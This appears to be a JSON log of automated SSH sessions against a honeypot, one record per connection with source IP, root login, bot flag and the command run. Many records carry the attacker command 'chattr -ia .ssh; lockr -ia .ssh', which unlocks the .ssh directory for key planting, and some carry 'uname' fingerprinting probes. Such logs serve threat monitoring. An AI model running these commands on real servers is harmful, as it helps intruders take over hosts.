[
 {
  "id": "22cc1660-be2b-455a-b982-c6b5b70e2261",
  "name": "arctic-bashful-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 52550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 825,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:10:39.045870+00:00",
  "ended_at": "2026-08-27T14:10:39.311875+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2275
 },
 {
  "id": "3494d97d-d16f-49b7-924f-fa901893d078",
  "name": "sunlit-candid-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:25.391999+00:00",
  "ended_at": "2026-08-27T14:10:26.330164+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69acb35c-5eec-45a4-a769-f061bd9602af",
  "name": "bashful-plush-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48024,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:09:35.554288+00:00",
  "ended_at": "2026-08-27T14:09:37.298708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5fa2b8c6-1474-40f1-a39d-5ced056d7ac6",
  "name": "amiable-sunlit-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 45196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:09:31.509206+00:00",
  "ended_at": "2026-08-27T14:09:32.024652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "57d518f6-4d05-4318-bbc2-e3c64fb8be89",
  "name": "orderly-balmy-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58238,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:37.498856+00:00",
  "ended_at": "2026-08-27T14:08:39.555464+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4b1c0f1-cb02-4fa5-b810-1851c4a84015",
  "name": "leafy-tender-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 56614,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:08:31.398471+00:00",
  "ended_at": "2026-08-27T14:08:31.962801+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "939cf713-b32a-49de-a304-c10486850a62",
  "name": "gilded-watchful-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 60678,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:06:37.873392+00:00",
  "ended_at": "2026-08-27T14:06:39.590700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03e09488-6fbd-4a58-a7e6-9d802ca8d780",
  "name": "gloomy-weathered-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 44650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:01:51.154232+00:00",
  "ended_at": "2026-08-27T14:01:53.311292+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "8f575f38-1c0c-405e-bc09-2d3796d4b053",
  "name": "keen-early-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 46450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:01:17.099660+00:00",
  "ended_at": "2026-08-27T14:01:19.264142+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02d94f97-51a7-477a-b442-27cb5437ccb7",
  "name": "mossy-electric-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:59:37.357704+00:00",
  "ended_at": "2026-08-27T13:59:39.371099+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "8609fc80-6fe9-4fcd-bb46-ca684940b0ab",
  "name": "thrifty-granite-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:08.383265+00:00",
  "ended_at": "2026-08-27T13:59:09.330568+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844",
  "name": "hazel-slender-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 56854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 831,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:56:20.487122+00:00",
  "ended_at": "2026-08-27T13:56:22.536239+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "9037b35c-6f2d-48c3-b718-9ee4ea34da5c",
  "name": "nimble-languid-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58526,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:55:45.934133+00:00",
  "ended_at": "2026-08-27T13:55:47.290342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f256eb79-b45a-4193-ae7f-fa3780be2a8a",
  "name": "fierce-amiable-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:55:41.998113+00:00",
  "ended_at": "2026-08-27T13:55:42.103801+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "bd28fa80-f266-4e39-ad73-4ddea68a43ff",
  "name": "lively-burly-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 50760,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:55:13.593247+00:00",
  "ended_at": "2026-08-27T13:55:15.678836+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "e0c99e99-f25b-41ac-9f98-ea2229ad105c",
  "name": "distant-gnarled-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 53340,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:54:44.096849+00:00",
  "ended_at": "2026-08-27T13:54:45.600530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec9aca9c-fda7-4988-bfcf-99df46f96d42",
  "name": "autumn-western-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "153.75.82.158",
  "src_port": 54936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:53:03.208412+00:00",
  "ended_at": "2026-08-27T13:53:04.638212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "417dfc62-0fd9-43c9-a4f8-92cd41f9e472",
  "name": "brisk-wry-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 36774,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 839,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:52:51.857775+00:00",
  "ended_at": "2026-08-27T13:52:54.106539+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2161
 },
 {
  "id": "90c1146b-0652-44ba-8acc-5f52a11f13c9",
  "name": "misty-humble-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 38510,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:52:17.782566+00:00",
  "ended_at": "2026-08-27T13:52:19.280128+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e",
  "name": "plush-fickle-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 40842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 836,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:50:56.424213+00:00",
  "ended_at": "2026-08-27T13:50:58.096000+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "f0be092e-d297-4f15-9891-9e6de13a7865",
  "name": "foggy-northern-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 42792,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:33.706117+00:00",
  "ended_at": "2026-08-27T13:50:35.003118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "237b36a7-699b-4aec-8fc5-2e313151be27",
  "name": "plucky-velvet-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 42894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:50:27.419511+00:00",
  "ended_at": "2026-08-27T13:50:29.404123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "512689b9-0866-4622-8b74-f092570cdfcd",
  "name": "faded-nimble-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 60362,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 339,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:49:19.683670+00:00",
  "ended_at": "2026-08-27T13:49:21.107205+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "5a2ebe85-1245-44a2-9098-d2a7b933437d",
  "name": "graceful-painted-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 38722,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:49:08.017663+00:00",
  "ended_at": "2026-08-27T13:49:09.308502+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a40f507-b172-4cf9-b40e-fffb05055beb",
  "name": "gloomy-snowy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 50066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:48:47.561581+00:00",
  "ended_at": "2026-08-27T13:48:47.656051+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "4f0679fd-0de7-4821-8a97-c666f6559bf6",
  "name": "placid-smooth-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 48974,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 833,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:47:13.006250+00:00",
  "ended_at": "2026-08-27T13:47:14.698382+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "504796be-5d22-4b06-8aae-695833d3fdac",
  "name": "orderly-upland-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:46:51.074859+00:00",
  "ended_at": "2026-08-27T13:46:52.350705+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be430fc9-3418-4120-a9a2-95dfd66d578f",
  "name": "glassy-languid-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 53042,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 837,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:45:26.904360+00:00",
  "ended_at": "2026-08-27T13:45:28.490199+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0ba01b1a-465c-4c0c-833c-680a95753cbe",
  "name": "polar-ginger-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54788,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:45:06.659432+00:00",
  "ended_at": "2026-08-27T13:45:07.816672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce849b76-8909-425b-80e9-5b5c62f84f83",
  "name": "brisk-stormy-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 37034,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 827,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:40:15.293996+00:00",
  "ended_at": "2026-08-27T13:40:16.146140+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "ae88c9bc-81bc-4548-9f19-ded6c0846091",
  "name": "nameless-vaulted-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 39020,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:39:58.641193+00:00",
  "ended_at": "2026-08-27T13:40:00.485678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd0654fe-eab4-4657-b2dc-9836b47b4a66",
  "name": "distant-fickle-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:25:10.581147+00:00",
  "ended_at": "2026-08-27T13:25:10.689048+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "c74aaf86-4a49-48b2-b67d-3e7aa8321dce",
  "name": "loyal-salty-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 58334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:15:17.023212+00:00",
  "ended_at": "2026-08-27T13:15:17.127766+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "969ed54d-7c6f-4e70-a712-108ae2722dd4",
  "name": "autumn-genial-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "159.138.88.16",
  "src_port": 43816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo xsec",
  "started_at": "2026-08-27T13:10:50.974379+00:00",
  "ended_at": "2026-08-27T13:10:52.816826+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 13
 },
 {
  "id": "f00c17a5-4d18-4688-b503-11db1633996b",
  "name": "woven-fabled-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57484,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:10:07.280852+00:00",
  "ended_at": "2026-08-27T13:10:08.428732+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7c00e4aa-3488-4bea-8bb2-f9440acaf674",
  "name": "nameless-lonesome-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:09:50.689062+00:00",
  "ended_at": "2026-08-27T13:09:51.813302+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eff6efd8-4e18-42b1-a81a-2b11487826dd",
  "name": "wry-sullen-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 734,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:34.534956+00:00",
  "ended_at": "2026-08-27T13:08:35.347484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "90fc4cff-bfd2-40a6-80dd-9195a13babf8",
  "name": "courtly-misty-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:19.035141+00:00",
  "ended_at": "2026-08-27T13:08:21.035011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2827558-c0bf-403f-887a-ceed52b5ac6e",
  "name": "ashen-autumn-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:06:37.211124+00:00",
  "ended_at": "2026-08-27T13:06:39.140279+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bf51edf9-8aa7-445b-9559-41f3e4ad19b4",
  "name": "steady-dewy-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:06:21.822701+00:00",
  "ended_at": "2026-08-27T13:06:22.986962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6a2b5f4-0d19-4c58-87c1-8d48697be742",
  "name": "merry-ivory-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43500,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:26.428474+00:00",
  "ended_at": "2026-08-27T13:05:28.473233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06b773c3-cdcb-4622-8e22-7ade1bcc10d8",
  "name": "proud-gallant-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 37892,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:05:19.157578+00:00",
  "ended_at": "2026-08-27T13:05:20.455268+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "459198e0-3ad0-4842-ac57-15bd9617cee7",
  "name": "alpine-mindful-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 39800,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:33.784479+00:00",
  "ended_at": "2026-08-27T13:04:35.010501+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "495b9dcc-5498-4d32-8fdd-007068a0e981",
  "name": "gleaming-ivory-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58480,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:04:17.828089+00:00",
  "ended_at": "2026-08-27T13:04:18.764390+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "047a388a-5b15-466e-8856-1472d37c2eed",
  "name": "ginger-fearless-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 60034,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:04.740416+00:00",
  "ended_at": "2026-08-27T13:04:05.848593+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f928b2c1-6e1f-4378-8792-44b1efdedfc8",
  "name": "fearless-buoyant-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60066,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:47.987496+00:00",
  "ended_at": "2026-08-27T13:03:48.912921+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "391361d1-85c4-4163-a3bc-009c9a036642",
  "name": "craggy-burly-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 39936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1116,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:59:43.655151+00:00",
  "ended_at": "2026-08-27T12:59:44.427483+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2332
 },
 {
  "id": "5db6ab5f-6cea-4156-989f-2ab410be75ca",
  "name": "crisp-honest-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:23.528297+00:00",
  "ended_at": "2026-08-27T12:59:25.091372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa311760-9d13-49dd-9e08-b5906e2ba25d",
  "name": "balmy-scarlet-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59974,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:58:39.450022+00:00",
  "ended_at": "2026-08-27T12:58:40.512283+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
